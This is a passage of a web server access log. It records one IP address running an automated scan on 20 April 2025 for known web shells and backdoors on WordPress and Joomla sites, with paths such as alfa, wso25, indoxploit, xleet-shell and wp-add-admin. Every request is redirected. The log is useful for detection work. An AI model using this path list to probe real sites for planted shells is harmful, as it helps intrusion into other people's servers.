Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:27 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:29 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:32 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:34 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:37 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:39 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:43 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:47 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:49 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:51 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:55 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:57 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:06:59 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:01 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:03 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:05 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:08 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:12 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:14 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:17 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:20 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:22 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:25 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:27 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:30 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:32 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:34 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:36 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:38 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:39 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:41 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:43 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:45 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:48 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:49 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:52 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:54 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:56 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:07:58 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:01 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:02 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:04 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:06 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:08 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:11 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:13 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:15 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:16 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:18 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:20 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:22 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:25 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:27 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:29 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:31 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:33 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:35 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:38 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:39 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:42 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:45 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:47 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:52 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:54 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:56 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:08:59 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:01 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:04 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:06 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:08 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:10 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:12 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:14 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:17 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:19 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:22 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:25 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:26 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:29 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:32 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:34 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:37 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:40 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:42 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:45 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:47 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:51 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:53 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:56 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:09:58 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [20/Apr/2025:20:10:00 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" 